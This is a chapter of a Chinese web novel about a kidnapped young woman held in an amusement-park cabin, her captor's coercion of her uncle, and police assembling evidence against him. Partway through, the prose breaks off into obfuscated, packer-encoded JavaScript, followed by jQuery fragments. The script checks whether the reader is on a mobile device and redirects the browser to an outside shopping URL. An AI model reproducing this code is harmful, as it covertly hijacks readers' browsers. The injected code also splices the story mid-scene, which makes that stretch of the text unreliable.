25.物证
作品:《献祭,游乐园与逃跑》 聂枝鹿被放平到床上,被套色刺眼,衬的她皮肤愈发惨白。
主题屋内的气氛死寂,聂枝鹿还没从麻醉药的药效中醒过来。
黯站在床边,垂眼看向床上的聂枝鹿,眉头紧皱,脸色阴沉。
聂枝鹿醒来的时候是第二天清晨,一睁眼又是这个熟悉的小屋。
她的心仿佛沉到了海底,面对着无论怎样逃跑都挣脱不掉的现实,以及这个一眼看不到头的人生,好像她只有死路一条。
“你眼神透露出来的神色,你好像有很多怨言。”黯坐在他们第一次见面的那把扶手椅上,端详着聂枝鹿的一举一动。
“你要不直接把我杀了吧,这样我心理还能好受点。”聂枝鹿扯过旁边的空调被,盖在自己身上,尽量给自己增加点安全感。
她应该被杀的啊,怎么还能活着呢。
在第一天找到陈书斌他们的时候,就应该跟着一起死的,或者是联合着林蓝一起偷袭黯之后,也应该被杀。
为什么要让她这么绝望的活到现在,暗无天日,看不到自由,看不到未来,数次尝试逃跑也都功亏一篑。
或者死亡才是她最好的解脱。
黯仿佛听到了什么好笑的笑话,噗嗤一声:“我哪舍得啊。”
聂枝鹿不再吭声,睁着眼睛死盯着头顶的天花板。
黯也不跟她扯皮,从旁边的电饭煲中盛出一碗米饭,然后又从厨房端出两碟菜放到茶几上。
“先把饭吃了,昨天一天没吃东西吧。你还挺有毅力,一个人跑那么久。”黯给她摆好碗筷,又向玻璃杯中倒满绿豆汁。
聂枝鹿看了眼那桌上的东西,只觉得反胃,毫无食欲。
她冷何一声:“我不吃,里面有葱。”
黯也不生气,心平气和道:“好,我去重新做。你想吃什么?”
聂枝鹿脑中想都没想,随口敷衍:“我要吃蟹粉狮子头。”
黯应允:“好,我去买食材。”他说着起身。
她似乎想起什么,又叫道:“那你记住了,葱和姜一律不许放,但得有鲜味香气。除此之外我还要吃西红柿炒鸡蛋,但不要西红柿也不要蛋。”
黯沉默了,转头看向聂枝鹿,神色不明。
“你在生气。”他说。
聂枝鹿懒得理他,心想这不废话吗,谁愿意跟囚犯一样被关着。
“行。”黯轻叹一声,转身出去重新买食材。
***
月雅市市立医院内,左逸善又再度找到书斌。
左逸善:“书斌,我现在需要更具体地了解当时阁楼里的情况。你之前提到,跟你一起关在阁楼内的,除了你父亲,还有另外三个女生。”
书斌点点头:“是的,有一个是之前就在,另外两个是之后关进来的。”
“你和她们有过接触吗?哪怕是很短暂的。”
书斌闭目沉思,尽量回忆起来那段时日的一些细节:“有,后来进来的两个,一个和我一起在阁楼,另一个,我听到声音,她好像被关在楼下。”
左逸善微微前倾身体:“你说说看关于和你同在阁楼的那位。你能想起她外表上一些特点吗?比如身高,或者头发长度?”
“头发……”书斌凝眉,片刻后她的声音稍微确定了一些:“是长发。但是她们好像都是长头发,个子也都挺高的。”
左逸善逐步展开更细致的询问:“关于那位在阁楼里的长发女孩,你记得她的头发是什么颜色吗?发质是直的,还是卷的?哪怕只有个模糊的印象也没关系。”
书斌仔细回忆:“好像……带着点微卷,发色我有些分不清是棕色还是黄色,比棕色略浅,比黄色又暗些。”
“你觉得,她像阁楼中跟你一起关着的那位女生吗?”左逸善从随身的文件夹中取出几张经过筛选的照片交给书斌,这些是之前在VIP503拍的照片。
书斌坐直了身子,观察片刻。
照片中的女生坐在病床上,背靠着摇起的床头,只能看到侧脸,床边是背对镜头的男人。
她就着照片对照了一下记忆中少女的身形,却是有些相似,但也不敢给出百分百的把握:“有点记不太清了,但是看脸型和身材,很像。”
左逸善点了点头,没有表现出过度兴奋或失望。
她收起照片,心中有了大致的判断:“好的,谢谢你书斌。”
床上的女孩向她微微颔首,随后左逸善起身离开座位,312的病房门轻轻合上。
***
“来,咪咪,吃饭啦,你是想吃这个猫条呢?还是想吃这个罐头呢?还是全都想吃呢?”
月雅市行政中心警局内,刘沐熙正抱着一只糖棕色的猫咪各种抚摸,地上还摆着两三个罐头和几根猫条。
旁边的审问室内,莫伟正坐在里面接受审问。
左逸善回到警局,看了眼刘沐熙又瞟到她怀中的小猫,问:“怎么回事,怎么还弄来了一只猫?”
“左队长,您回来了。”刘沐熙连忙放下香蜜。
左逸善:“这是在审谁呢?”
刘沐熙:“这是上回月颂公交服务站事件中查到了线索。我们寻着路段监控,查到了一可以车辆,驾驶人员名叫莫伟,当时副驾驶上坐着的正是失踪一个月的聂枝鹿。”
左逸善一愣:“聂枝鹿找到了?”
“没有,服务站的人说,打伤他并将聂枝鹿带走的人,是个更年轻高挑的男人,不是莫伟。但我们找到莫伟后,在他的副驾驶下面找到了这个。”刘沐熙将一个购物袋递给了左逸善。
左逸善打开,里面是一个日记本、一把钥匙、一张地图、还有一些小包装的零食。
地图是用彩铅画的,虽不及打印的宣传册精细,但内容十分完整。
左逸善又仔细翻阅了那本日记,里面的内容让众人呼吸一滞。
被夹放在第一页的,是张花名册和一男子的信息资料表及数张照片。而花名册及受害者身份信息表上,都有褚黯的签字与印章。
“那这不就是,铁证如山了吗?医院的书斌,还有这些褚家的签字文件,人证物证具在啊。”刘沐熙满心欢悦。
左逸善问:“这些东西是哪来的?”
刘沐熙道:“我们赶到的时候,莫伟正坐在车里查看这些东西,他当时也是一脸茫然,没想到这些东西会出现在自己车上。据他回忆,这个购物袋和那只猫,都是聂枝鹿上车时就带进来的。”
左逸善:“聂枝鹿失踪近一个月,他是怎么找到聂枝鹿的?”
“我们询问过,他当时刚买完烟,正打算在车里抽一根,聂枝鹿就直接拉开了他副驾驶车马就坐了进来,然后一路上跟他说自己被绑架了,手里有绑匪的证据,让他快点开车来警局。听他意思是,聂枝鹿刚跑出来,正巧看到他,他们的相遇纯属巧合。”刘沐熙把情况简单的交代了一番。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16929124|191986||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
“他和聂枝鹿是哪个地方遇见的?”
刘沐熙道:“月安镇,就是我们上回沿街询问店家的那个镇子。”
一个女孩沿街离去的背影瞬间自左逸善脑海中闪现,那个在公交站台抱着小猫离开的身影重新浮现在左逸善心中。
“原来是她,都怪我,竟然当时没记起来!”左逸善顿时懊恼。
刘沐熙看着左逸善突然不悦的神情困惑的问道:“队长你怎么了?”
左逸善深呼吸一口气,让情绪平稳下来:“没事。”
她将购物袋中的东西重新整理了一番:“收拾一下,将莫伟的证词再整理一份,准备妥当后,我们便出发。”
“去哪啊?”刘沐熙不解。
左逸善垂眸看向游乐园地图:“麋鹿乐园。”
“这个我们查了,但是没有任何一家的平面设计与这张纸上的一样。”刘沐熙将一份资料递给左逸善,上面是近几年登记在册的主题乐园以及相关的平面地图。
左逸善摇摇头:“聂枝鹿既然能带着这张地图逃出来,那说明这张地图有它的用武之地,系统搜索不到只能说明它还没注册,我们只要沿着她这一路的路线往回寻,总能找到。”
***
傍晚五点,主题小屋内低垂的吊灯闪着橘黄色暖光,餐桌上摆满了六道精致的菜品,瓷盘边缘反着柔光。
这是黯精心做好的晚饭,但聂枝鹿坐在餐桌边毫无食欲。
她只是随口一说,但没想到黯真的依照她的“胃口”做好了。
也不知是用的什么方法,蟹粉狮子头色泽鲜亮,没有多余的香料,汤汁恰好收得浓稠。
至于她点名的另外一道菜,黯用蟹黄和蟹粉代替了鸡蛋,用红辣椒代替了西红柿,乍一看的确很像一碟“西红柿炒鸡蛋”。
“试试看。”黯做在她的对面,将菜碟推到了她面前:“昨天和今天白天都一直没吃东西,身子会饿坏的。”
聂枝鹿抬头看了眼黯,终于问出了一直好奇的问题:“莫伟表舅他也染指过你们的祭祀一事吗?”
黯神色不变,替聂枝鹿盛了一碗菌菇汤:“没有,在我调查完后的家庭背景后,发现你这位表舅正好在鼎钧集团的分公司做事,就顺带让他帮了我一些忙,给了他一些丰厚的奖励,一来二去他也知道了我跟你的事。”
聂枝鹿扯出一丝冷笑:“你在服务站那么闹,就不怕警察抓到他,然后他把你供出来。”
黯将汤勺轻放在她碗边,菌菇的鲜香袅袅升起。
“他不会。”他顿了顿:“或者说他不敢。”
吊灯柔和的光线打下,聂枝鹿不动声色的看着对面的男人。
“你应该也认识他那个宝贝儿子吧?废柴一个,成绩不好,只考了个民办专科,之后还需要专升本,一年学费五万起步,于他这种家庭而言,是个不小的数目。”黯拿起旁边半湿的餐巾,擦净手指。
“半个月前,那孩子又打架,闯了祸,差点被开除,我让人去学校‘沟通’了一番。”
黯挑眉看向聂枝鹿,语气平淡:“还有他那个老婆,怀孕后就失业,一直没工作,这几年一直想开个门店,谋个生计。那些地段、执照、装修……你猜,都是谁在背后打点呢?”
聂枝鹿听到这明白了大概,握紧了手中的汤匙,喉中泛起苦涩。
黯微微前倾,声音低沉:“所以现在,他比谁都希望我平平安安。”

